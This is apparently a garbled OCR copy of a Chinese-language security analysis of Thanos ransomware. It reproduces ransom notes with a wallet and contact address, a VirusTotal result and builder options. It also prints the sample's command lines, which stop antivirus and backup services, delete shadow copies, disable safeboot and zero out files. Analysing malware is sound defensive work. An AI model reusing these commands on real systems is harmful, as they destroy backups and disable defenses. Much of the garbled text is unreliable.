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@ This ransomware has no known way of decrypting data at this
time.

It is recommended to backup your encrypted files, and hope for a
solution in the future.

Identified by

» ransomnote_filename: RESTORE_FILES_INFO.txt

Not enough information is public about Thanos. Please check back later.

A would you like to be notified if there is any development regarding this ransomware? Click here.
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The Price to get all things to the normal : 20,0008

My BTC Wallet ID :

Contact :
josephnull @secmail.pro
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Information...

Your Files are Encrypted.

Don’ tworry, you can return all your files!

You've got 48 hours(2 Days), before you lost your files forever.
[ will treat you good if you treat me good too.

The Price to get all things to the normal - 20,000%
My BTC WalletID -
1F6sqBYVitTIUEAQcYxfK8sSXFUUHCT7sDY

Contact:
josephnull@secmail.pro

8. #4117 6ab0.exe & ¢ L= =1 powershell.exe » 4% % ¢ #4 {7 net.exe(netl.exe) ~
sc.exe ~ vssadmin.exe -~ taskkill.exe ~ cmd.exe Mshta.exe ~ bcdedit.exe -

cmd.exe(PINGEXE -~ fsutil.exe)¥2 cmd.exe(Choice.exe) & #% 5 o

(1) ===+ powershell.exe % # 7 " “powershell” Get-MpPreference —verbose ;> 1

P18 Windows Defender 4 = =2k ¥ p % » & %6 Windows defender 4%

;EIJ o

Process Command

= ¥ % 6a50.exe (1412) C\Users\Ruby\Downloads\6a50.exe

fg powershell exe (1536) |"powershell" Get-MpPreference -verbose

(2) FE§ 4417 netexe kef v netlexe £ 36 = > 12 ik 36 fAIF & HRE PRI

AR o



3 F TR B IZ Y < (TACERT)
'@F TANet Computer Emergency Response Team

Process Command

"net.exe" stop avpsus /y

C:\Windows\system32\net1 stop avpsus fy

"net.exe" stop McAfeeDLPAgentService /y
C:\Windows\system32\net1 stop McAfeeDLPAgentService [y
"net.exe" stop mfewc /y

C:\Windows\system32\net1 stop mfewc /y

"net.exe" stop BMR Boot Service /y
C:\Windows\system32\net1 stop BMR Boot Service /y
"net.exe" stop NetBackup BMR MTFTP Service [y
C:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y
"net.exe" stop DefWatch /y

C:\Windows\system32\net1 stop DefWatch fy

"net.exe" stop ccEvtMgr /fy

C:\Windows\system32\net1 stop ccEvtMgr /y

“net.exe" stop ccSetMgr /y

C:\Windows\system32\net1 stop ccSetMgr /y

"net.exe" stop SavRoam /y

C:\Windows\system32\netl stop SavRoam /y

"net.exe" stop RTVscan Jy

C:\Windows\system32\netl stop RTVscan [y

"net.exe"” stop QBFCService [y
C:\Windows\system32\net1 stop QBFCService /y
"net.exe" stop QBIDPService [y
C:\Windows\system32\net1 stop QBIDPService [y
"net.exe" stop Intuit.QuickBooks.FCS /y
C:\Windows\system32\net1 stop Intuit.QuickBooks.FCS /y
"net.exe" stop QBCFMonitorService [y
C:\Windows\system32\net1 stop QBCFMonitorService /y
"net.exe" stop YooBackup /y

C:\Windows\system32\net1 stop YooBackup /y

Process Command

"net.exe" stop YoolT /y

C:\Windows\system32\net1 stop YooIT /y

"net.exe" stop zhudongfangyu /y

C:\Windows\system32\net1 stop zhudongfangyu /y

"net.exe" stop stc_raw_agent /y

C\Windows\system32\net1 stop stc_raw_agent /y

"net.exe" stop VSNAPVSS /fy

C:\Windows\system32\net1 stop VSNAPVSS /y

"net.exe" stop VeeamTransportSvc /y
C\Windows\system32\net1 stop VeeamTransportSvc /y
"net.exe" stop VeeamDeploymentService /y
C\Windows\system32\net1 stop VeeamDeploymentService /y
"net.exe” stop VeeamNFSSvc /y

C:\Windows\system32\net1 stop VeeamNFSSvc /y

"net.exe" stop veeam [y

C:\Windows\system32\net1 stop veeam /y

"net.exe” stop PDVFSService /y

C\Windows\system32\net1 stop PDVFSService /y

"net.exe" stop BackupExecVSSProvider /y
C\Windows\system32\net1 stop BackupExecVSSProvider [y
"net.exe" stop BackupExecAgentAccelerator fy
C:\Windows\system32\net1 stop BackupExecAgentAccelerator fy
"net.exe" stop BackupExecAgentBrowser [y
C:\Windows\system32\net1 stop BackupExecAgentBrowser [y
"net.exe" stop BackupExecDiveciMediaService /[y
C:\Windows\system32\net1 stop BackupExecDiveciMediaService /y
"net.exe" stop BackupExecJobEngine /y
C\Windows\system32\net1 stop BackupExeclobEngine fy
"net.exe” stop BackupExecManagementService /y
C:\Windows\system32\net1 stop BackupExecManagementService /y
"net.exe" stop BackupExecRPCService /y
C:\Windows\system32\net1 stop BackupExecRPCService /y

Process Command

"net.exe" stop AcrSch2Svc /fy
C\Windows\system32\net1 stop AcrSch2Svc fy
"net.exe" stop AcronisAgent /fy
C\Windows\system32\net1 stop AcronisAgent fy
"net.exe" stop CASAD2DWebSvc /y
C\Windows\system32\net1 stop CASAD2DWebSvc fy
"net.exe" stop CAARCUpdateSvc /y
C\Windows\system32\net1 stop CAARCUpdateSvc [y
"net.exe" stop sophos /y

C\Windows\system32\net1 stop sophos /y
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taskkill & 4 o 1% 3447 sc.exe ki sx3ip £ BRI H|F L EFTHLE ¢
PRAZIEeNP e > MM 4 BAAR4EIRGE > H Y 31 5 & SQL 3 M PR
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Process Command

c.exe (620) "sc.exe” config SQLTELEMETRY start=disabled

c.exe (984) "sc.exe" config SQLTELEMETRYSECWDB2 start= disabled
"sc.exe" config SQLWriter start=disabled

"sc.exe" config SstpSvc start= disabled

(4) #4 1= taskkill.exe & @ ik 3 B3 {7 342 B (mspub.exe ~ mydesktopgos.exe

2 mydesktopservice.exe) o

Process Command

askkill.exe (1348) "taskkill.exe" /IM mspub.exe /F
askkill.exe (2132) "taskkill.exe" /IM mydesktopqos.exe /F
askkill.exe (2148) "taskkill.exe" /IM mydesktopservice.exe /F

(5) % & & #c 48R 7 vssadmin.exe Mﬂ]fb’“r"ﬁ - PN B g TR R

l”??\? ﬁ‘rg%ﬁ—rﬁ"‘ ’J‘.f Lo

Process Command

vssadmin.exe (2164) |"vssadmin.exe" Delete Shadows /all /quiet

vssadmin.exe (2180) |"vssadmin.exe" resize shadowstorage /for=c: fon=c: /maxsize=401MB
vssadmin.exe (2186) |"vssadmin.exe" resize shadowstorage /for=c: fon=c: /maxsize=unbounded
vssadmin.exe (2212) |"vssadmin.exe" resize shadowstorage /for=d: fon=d: /maxsize=401MB
vssadmin.exe (2284) |"vssadmin.exe" resize shadowstorage /for=d: fon=d: /maxsize=unbounded
vssadmin.exe (2340) |"vssadmin.exe" resize shadowstorage /for=e: fon=e: /maxsize=401MB
vssadmin.exe (2372) |"vssadmin.exe" resize shadowstorage /for=e: fon=e: /maxsize=unbounded
vssadmin.exe (2392) |"vssadmin.exe" resize shadowstorage /for=f: Jon=f: /maxsize=401MB
vssadmin.exe (2424) |"vssadmin.exe" resize shadowstorage /for=f: fon=f: /maxsize=unbounded
vssadmin.exe (2456) |"vssadmin.exe" resize shadowstorage /for=g: fon=g: /maxsize=401MB
vssadmin.exe (2472) |"vssadmin.exe" resize shadowstorage /for=g: fon=g: /maxsize=unbounded
vssadmin.exe (2496) "vssadmin.exe" resize shadowstorage /for=h: fon=h: /maxsize=401MB
vssadmin.exe (2520) |"vssadmin.exe" resize shadowstorage /for=h: fon=h: /maxsize=unbounded
vssadmin.exe (2536) |"vssadmin.exe" Delete Shadows /all /quiet

(6) #4117 cmd.exe(2572) k iz F R ™ J<fi P “TF Ah % 0 1 {7 mshta.exe & & on

¥z i G ahtafh ) 70 #1E bededitexe kT iE AR SRR E A T D

Foehdp 4

Process Command
$% cmd.exe (2572) "cmd.exe" /c rd /s /q %SYSTEMDRIVES:\SRecycle bin
[Fmshta.exe (3664) "C:\Windows\System32\mshta.exe" C:\Users\Ruby\Desktop\HOW_TO_DECYPHER_FILES.hta
# % bededit.exe (3680) "bededit.exe” /deletevalue {default} safeboot

=

(7) 44 7 cmd.exe(3688)=# = PINGEXE % #-ping 45 £ # 1| € v 1 753
#oom Ll s o 2 18 cmd.exe(3688) ¢ = = fsutil.exe kit * £ FAL R

FHEYPTR KAEZPF0BIERLRE BE LR S 524288 B
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Process Command

ping 127007-n3
futil file setZeroData offset=0 length=524288 “%s”

[ 584 cmd exe (3688) "rmd.exe" /Cping 127.0.07 -n 3 » Nul & fsutil file setZeroData offset=0 length=524288 “%s" & Del /f /q “%s"

(8) 34 17 cmd.exe(3708)* v choice.exe % iy TR P EF N - B Y EHR

duE % 0 BfS € ¥ & R #08Y 6a50.exe o

Process Command

# “choice.exe (3808) |choice /CY/N/DY/T3

[ 8% cmd. exe (3708) "C:\Windows\System32\cmd.exe" "/C choice /CY /N /DY /T 3 & Del "C:\Users\Ruby\Downloads\6a50.exe

6a50.exe & Virustotal ¥z ip| 2 E R v 6)1%% > 2 60/71 - ¥ & e o & 2

Thanos ¢ & T o * % #l & k8= WP 114k & 6a50.exe #1 f o

6 O (1) 60 engines detected this file

6ab090762c6058bc223e37e89753832faadB80995e3chad ebPedi5abe
604247

@ #i6a50.exef[EHash{E

Final-02.exe.bin  #™

92.50 KB 2021-02-20 03:115:03 UTC

assembly  detect-debug-environment  direct-cpu-clock-access  peexe  runtime-modules
x Community =z

Score

AlYac (D) Trojan.Ransom.Thanos Antiy-AVL () Trojan[Ransom]/Win32.Generic
SecureAge APEX (@) Malicious Arcabit (1) Trojan.Barys.D6456

Avast ’1 Win32:Trojan-ger AVG -\T/- Win32:Trojan-gen

Avira (na cloud) (D) TRiDropper.Genz2 BitDefender (D) GenVeriant.Barys 25686
BitDefenderTheta (D) Al:Packer0C318DE3TF CAT-QuickHes! () Trojanransom.Generic
ClamAvV (1) winRansomware.Thanes-9755595-0 Comodo (1) Malware@#3frppywzwg7k
Sophos 1 Mal/Generic-R + Mal/Hakbit-A Symantec ‘i Ransem.Cryptolocker

Tencent (1) Win32Trojan.Generic.Eger TrendMicro (@ Ransom.MSILTHANOS.SM
TrendMicro-HouseCall (D Rensom.MSILTHANOS.SM VBA32 (@ TscopeTrojan.MSIL
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~Compiation Dptions and Decoder

Atention] all vour important fles were encracted!
to get your fikes back send 3 Bitcois and
contact uz with proof of payment and your
Unige Identiier Key
statho P Cramo O
= Cresta vy e il send you a decryplion ool vith yove
peszonal decryphon password

{ Create Fisa Kepe (" KewdDecoder © Otfuscaon )

~lcan, Wallpaper and Control FTP Settings
| “w/here can you buy Bitcons:

FTP Logger - L
Add leon: o = | bttps:/Aesven corbase com
Laalsag hitpe: AAocabkoons com
T e |
Moicon Contact deciypt-my-data@protonmai. com
Advancsd Options Bibcoin wallet bo make the transber bo s
W Self-Delete Fanaom | Persistence - ek () i K Defender ) AMS| Bypass | Provect Process || Immonal Process
Ol ) Mamats Sge ) oelay
| Random #ssembly | Deceivirg bea W uAC [ Unlock Fles [ Prevent Sleep | Aral-AGAANE
| | e, File Siza:
W Famnmnde | 10 | MB W Change Extension: iy ) hin Fivn Al
L . BIC address to collect ransam
Rarzom Mote File Manme:
Enhanced Motifications
= - -
Complefor @ampeps  xie a4 HELP_ME_RECOVER_MY_FILES
E; To Proces: ~Pathz bo Encrypt
Inchasions: Directories bo Ercrpt | [auto]
“dat”t"
" .'h\sg".‘ w % \ e’ *Jauko]"
1" "zvg”. "pad il "l st 3 “sqtecb” “accd ‘mpeg”.“dyu” " back Dd‘ et "docm’, 'xm dwd bk abw"."nd"
g igh” 'ppn.f e echal” "o Mwand” “mp3""ailf" "flac” mda ooy g o™ el b i
(1 Bucrypt Doy One Extengion
{ Dl 1) ) Onty Ora Oirsctory

Thanos ransomware builder 5+ &, @
(Source: Recorded Future - https://www.recordedfuture.com/thanos-ransomware-builder)

‘ [ miEEE®Ri6as0.exe | [FREEREE - #176a50.exe |:

r [LEREWEE - EARZAR l
[2.powershell.exe (Ef§Defender&:£iB1%H) ||
[3.netexe (BIE36@H BREOBRBER) [
[4.5c.exe (BIRAATESERARIRE) |
[5.taskkill.exe (P 1E3{E# /7P IR ) |E

6.vssadmin.exe |

(MBRFAES FRIARBER ZERRTRBAB A/ ER)

=

6a50.exe

[7.cmd.exe(2572) (EZ= & BRI KRR EEE) I
[8.6a50.exeMZ &% II
[9.mshta.exe (FER $) RBA(E htais) ||

[10.bcdedit.exe (RIS RS Z 218 3) [
11.cmd.exe(3688)

11.2 #fTfsutil.exe KA EER BEEEPHER
11.3 A2 RRAR TG MERE S

[12.cmd.exe(3708) (EI5 < BRAETRA—EYVERNEE) [
[13. MR R A26a50.exe I

B EATIHE L B0t 6a50.exe # 3% T 1 R 4 6ab0.exe is 0 AP €T
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13.

|V

#4 17 powershell.exe & P~{¥ Windows Defender % 3t ¥ ¥5iE # B ©

$4 {7 netexe X i 1k 36 fAlF & HC R IRIZARS o

17 scexe kBB 4 BALBEAEPRIE > H P 3B L & SQL § BE cPRAE o

34 7 taskkill.exe k¢ i 3 B 7 ¢ 42/ (mspub.exe ~ mydesktopgos.exe &
mydesktopservice.exe) o

417 vssadmin.exe k# g 40§ B3 Bl A LD BB LR H %MW H D]
7 .

47 emd.exe(2572) ki3 TR o p Ty AR o

{7 6ab0.exe ke B A BN Fh % o

aAv R ITE R A 0 34 {7 mshtaexe o 2 F i 84 o € 3or ¥ 2 U 47 hta
FREARE AL o

# {7 bededit.exe 7B S pEE & > 5 o

#, 7 cmd.exe(3688):

11.1 #-ping 4p % ﬁg,] ‘g e I &K A

11.2 3417 fsutilexe k* 2 FTHBEFHE Y DFH o

113 &7 & B3 L @#JJ$%$°
* B

E

# 'J“,ﬁ% E 7 #c %8 6a50.exe o
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